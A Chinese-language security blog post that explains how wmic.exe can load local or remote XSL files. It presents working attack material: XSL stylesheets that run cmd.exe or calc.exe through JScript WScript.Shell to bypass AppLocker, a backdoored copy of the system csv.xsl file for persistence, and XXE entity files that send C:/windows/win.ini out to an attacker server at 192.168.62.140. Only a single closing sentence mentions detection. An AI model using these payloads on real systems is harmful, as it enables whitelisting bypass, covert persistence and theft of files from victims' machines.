利用 wmic 调用 xsl 文件的分析与利用

发布于 2024-10-08 06:29:12 字数 11804 浏览 7 评论 0

0x00 前言

Casey Smith@subTee 在博客分享的一个技巧,使用 wmic 能够从本地或从 URL 调用 XSL(可扩展样式表语言)脚本。这个发现很有用,不仅可以作为一种白名单绕过的方法,而且可以作为 payload 来使用(从 URL 调用 XSL 脚本,利用 XSL 执行 exe、shellcode、powershell 脚本)。

本文将要对该项技术进行测试,结合自己的经验对其扩展,分享一个后门利用的思路,介绍同 XXE 漏洞结合的使用方法。

博客地址:https://subt0x11.blogspot.ca/2018/04/wmicexe-whitelisting-bypass-hacking.html?m=1

0x01 简介

本文将要介绍以下内容:

  • 测试 Casey Smith 的方法
  • 脚本分析,分析后门利用思路
  • 编写后门利用脚本
  • 同 XXE 漏洞的结合

0x02 测试 Casey Smith 的方法

本地:

wmic process list /FORMAT:evil.xsl

远程:

wmic os get /FORMAT:"https://example.com/evil.xsl"

xsl 文件内容如下:

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
    <ms:script implements-prefix="user" language="JScript">
    <![CDATA[
    var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
    ]]> </ms:script>
</stylesheet>

注:代码来源于 https://gist.githubusercontent.com/caseysmithrc/68924cabbeca1285d2941298a5b91c24/raw/8574e0c019b17d84028833220ed0b30cf9eea84b/minimalist.xsl

0x03 脚本分析

查看 xsl 文件格式,发现类似于之前研究过的利用脚本(使用 msxsl.exe 执行 xsl 脚本,也是学习自 Casey Smith),内容如下:

<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
      xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
      xmlns:msxsl="urn:schemas-microsoft-com:xslt"
      xmlns:user="http://mycompany.com/mynamespace">

<msxsl:script language="JScript" implements-prefix="user">
   function xml(nodelist) {
    var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
      return nodelist.nextNode().xml;

   }
</msxsl:script>
<xsl:template match="/">
   <xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>

注:代码来源于 https://gist.github.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d

经测试,文章 《Use msxsl to bypass AppLocker》 中使用的 xsl 脚本和 xml 脚本 wmic 均支持,只是对后缀名有要求(必须是 xsl 文件)

实际测试:

执行:

wmic os get /format:"..//Use-msxsl-to-bypass-AppLocker/master/shellcode.xml"

执行失败,提示 Invalid XSL format (or) file name.

脚本内容不变,后缀名改为 xsl,再次执行:

wmic os get /format:"..//Use-msxsl-to-bypass-AppLocker/master/shellcode.xsl"

执行成功,成功弹出计算器,如下图

Alt text

补充: xsl 和 xml 文件的异同

  • 相同点:语法规则基本相同,仅声明方式不同(以上测试代码未体现)
  • 不同点:用途不同,xml 用于承载数据,xsl 用户设置数据的格式
  • 简单理解:通过使用 XSL 可以向 XML 文件添加显示信息,使用 XSL 显示 XML

0x04 后门利用思路

通过学习 Casey Smith 在博客中分享的研究思路,我想到了一个后门利用的思路

对于路径 c:\Windows\System32\wbem 下的 xsl 文件

例如:

  • csv.xsl
  • htable.xsl
  • texttable.xsl

同 wmic 命令的输出格式相对应,例如:

  • wmic os get /format:csv
  • wmic os get /format:htable
  • wmic os get /format:texttable

那么,使用 wmic 命令在输出格式时是否会加载对应名称的 xsl 文件呢?

答案是肯定的

挑选其中的 csv.xsl,内容如下:

<?xml version="1.0"?>
<!-- Copyright (c) Microsoft Corporation.  All rights reserved. -->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:output encoding="utf-16" omit-xml-declaration="yes"/>
<xsl:param name="norefcomma"/>

<xsl:template match="/">
Node,<xsl:for-each select="COMMAND/RESULTS[1]/CIM/INSTANCE[1]//PROPERTY|COMMAND/RESULTS[1]/CIM/INSTANCE[1]//PROPERTY.ARRAY|COMMAND/RESULTS[1]/CIM/INSTANCE[1]//PROPERTY.REFERENCE"><xsl:value-of select="@NAME"/><xsl:if test="position()!=last()">,</xsl:if></xsl:for-each><xsl:apply-templates select="COMMAND/RESULTS"/></xsl:template> 

<xsl:template match="RESULTS" xml:space="preserve"><xsl:apply-templates select="CIM/INSTANCE"/></xsl:template> 
<xsl:template match="VALUE.ARRAY" xml:space="preserve">{<xsl:for-each select="VALUE"><xsl:apply-templates select="."/><xsl:if test="position()!=last()">;</xsl:if></xsl:for-each>}</xsl:template>
<xsl:template match="VALUE" xml:space="preserve"><xsl:value-of select="."/></xsl:template>
<xsl:template match="INSTANCE" xml:space="preserve">
<xsl:value-of select="../../@NODE"/>,<xsl:for-each select="PROPERTY|PROPERTY.ARRAY|PROPERTY.REFERENCE"><xsl:apply-templates select="."/><xsl:if test="position()!=last()">,</xsl:if></xsl:for-each></xsl:template> 

<xsl:template match="PROPERTY.REFERENCE" xml:space="preserve"><xsl:apply-templates select="VALUE.REFERENCE"></xsl:apply-templates></xsl:template>

<xsl:template match="PROPERTY"><xsl:apply-templates select="VALUE"/></xsl:template>
<xsl:template match="PROPERTY.ARRAY"><xsl:for-each select="VALUE.ARRAY"><xsl:apply-templates select="."/></xsl:for-each></xsl:template>

<xsl:template match="VALUE.REFERENCE">"<xsl:apply-templates select="INSTANCEPATH/NAMESPACEPATH"/><xsl:apply-templates select="INSTANCEPATH/INSTANCENAME|INSTANCENAME"/>"</xsl:template>

<xsl:template match="NAMESPACEPATH">\\<xsl:value-of select="HOST/text()"/><xsl:for-each select="LOCALNAMESPACEPATH/NAMESPACE">\<xsl:value-of select="@NAME"/></xsl:for-each>:</xsl:template>

<xsl:template match="INSTANCENAME"><xsl:value-of select="@CLASSNAME"/><xsl:for-each select="KEYBINDING"><xsl:if test="position()=1">.</xsl:if><xsl:value-of select="@NAME"/>="<xsl:value-of select="KEYVALUE/text()"/>"<xsl:if test="position()!=last()"></xsl:if><xsl:if test="not($norefcomma=&quot;true&quot;)">,</xsl:if><xsl:if test="$norefcomma=&quot;true&quot;"><xsl:text> </xsl:text></xsl:if></xsl:for-each></xsl:template>


</xsl:stylesheet>

尝试在代码中添加 payload,修改后的内容如下:

<?xml version="1.0"?>
<!-- Copyright (c) Microsoft Corporation.  All rights reserved. -->
<xsl:stylesheet version="1.0"
      xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
      xmlns:msxsl="urn:schemas-microsoft-com:xslt"
      xmlns:user="urn:my-scripts">
<xsl:output encoding="utf-16" omit-xml-declaration="yes"/>
<xsl:param name="norefcomma"/>

<msxsl:script language="JScript" implements-prefix="user">
   function myFunction() {
    var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
          return "";      
   }
</msxsl:script>

<xsl:template match="/">

<xsl:value-of select="user:myFunction()"/>

Node,<xsl:for-each select="COMMAND/RESULTS[1]/CIM/INSTANCE[1]//PROPERTY|COMMAND/RESULTS[1]/CIM/INSTANCE[1]//PROPERTY.ARRAY|COMMAND/RESULTS[1]/CIM/INSTANCE[1]//PROPERTY.REFERENCE"><xsl:value-of select="@NAME"/><xsl:if test="position()!=last()">,</xsl:if></xsl:for-each><xsl:apply-templates select="COMMAND/RESULTS"/></xsl:template> 


<xsl:template match="RESULTS" xml:space="preserve"><xsl:apply-templates select="CIM/INSTANCE"/></xsl:template> 
<xsl:template match="VALUE.ARRAY" xml:space="preserve">{<xsl:for-each select="VALUE"><xsl:apply-templates select="."/><xsl:if test="position()!=last()">;</xsl:if></xsl:for-each>}</xsl:template>
<xsl:template match="VALUE" xml:space="preserve"><xsl:value-of select="."/></xsl:template>
<xsl:template match="INSTANCE" xml:space="preserve">
<xsl:value-of select="../../@NODE"/>,<xsl:for-each select="PROPERTY|PROPERTY.ARRAY|PROPERTY.REFERENCE"><xsl:apply-templates select="."/><xsl:if test="position()!=last()">,</xsl:if></xsl:for-each></xsl:template> 

<xsl:template match="PROPERTY.REFERENCE" xml:space="preserve"><xsl:apply-templates select="VALUE.REFERENCE"></xsl:apply-templates></xsl:template>

<xsl:template match="PROPERTY"><xsl:apply-templates select="VALUE"/></xsl:template>
<xsl:template match="PROPERTY.ARRAY"><xsl:for-each select="VALUE.ARRAY"><xsl:apply-templates select="."/></xsl:for-each></xsl:template>

<xsl:template match="VALUE.REFERENCE">"<xsl:apply-templates select="INSTANCEPATH/NAMESPACEPATH"/><xsl:apply-templates select="INSTANCEPATH/INSTANCENAME|INSTANCENAME"/>"</xsl:template>

<xsl:template match="NAMESPACEPATH">\\<xsl:value-of select="HOST/text()"/><xsl:for-each select="LOCALNAMESPACEPATH/NAMESPACE">\<xsl:value-of select="@NAME"/></xsl:for-each>:</xsl:template>

<xsl:template match="INSTANCENAME"><xsl:value-of select="@CLASSNAME"/><xsl:for-each select="KEYBINDING"><xsl:if test="position()=1">.</xsl:if><xsl:value-of select="@NAME"/>="<xsl:value-of select="KEYVALUE/text()"/>"<xsl:if test="position()!=last()"></xsl:if><xsl:if test="not($norefcomma=&quot;true&quot;)">,</xsl:if><xsl:if test="$norefcomma=&quot;true&quot;"><xsl:text> </xsl:text></xsl:if></xsl:for-each></xsl:template>


</xsl:stylesheet>

替换原文件,需要管理员权限

注:csv.xsl 的路径同系统语言版本有关,如果是英文系统,路径为 C:\Windows\System32\wbem\en-US ,如果是中文系统,路径为 C:\Windows\System32\wbem\zh-CN

测试使用 wmic 的输出格式命令:

wmic os get /format:csv

执行 payload,如下图

Alt text

0x05 同 XXE 漏洞的结合

XXE 是 XML External Entity attack 的缩写,前不久一个和 Windows 相关的 XXE 漏洞:CVE-2018-0878

poc 地址如下:https://www.exploit-db.com/exploits/44352/

同样可在 wmic 命令上触发

漏洞测试:

1、使用 kali linux 建立 httt 服务器

python -m SimpleHTTPServer 8080

2、kali linux 目录下创建文件 xxe.xml

内容如下:

<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">  
<!ENTITY % root "<!ENTITY &#37; oob SYSTEM 'http://192.168.62.140:8080/?%payload;'> ">

注:kali linux 的 IP 为 192.168.62.140

3、创建 payload.xsl

内容如下:

<?xml version="1.0" encoding="UTF-8" ?>  
<!DOCTYPE zsl [  
<!ENTITY % remote SYSTEM "http://192.168.62.140:8080/xxe.xml">  
%remote;%root;%oob;]>

4、windows 系统使用 wmic 加载该 xsl 文件

wmic os get /format:payload.xsl

执行失败,提示 Invalid XSL format (or) file name.

然而,漏洞成功触发,服务器获得文件 C:/windows/win.ini 的内容,如下图

Alt text

0x06 小结

本文测试了使用 wmic 从本地或从 URL 调用 XSL 文件的方法,分享了一个后门利用的思路,并结合 CVE-2018-0878 对 XXE 漏洞进行了测试。 站在防御的角度,如果 wmic.exe 发起了网络连接,那么很有可能是加载了特殊 xsl 文件的原因,值得注意。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

芯好空

暂无简介

0 文章
0 评论
21 人气
更多

推荐作者

花开柳相依

文章 0 评论 0

zyhello

文章 0 评论 0

故友

文章 0 评论 0

对风讲故事

文章 0 评论 0

Oo萌小芽oO

文章 0 评论 0

梦明

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文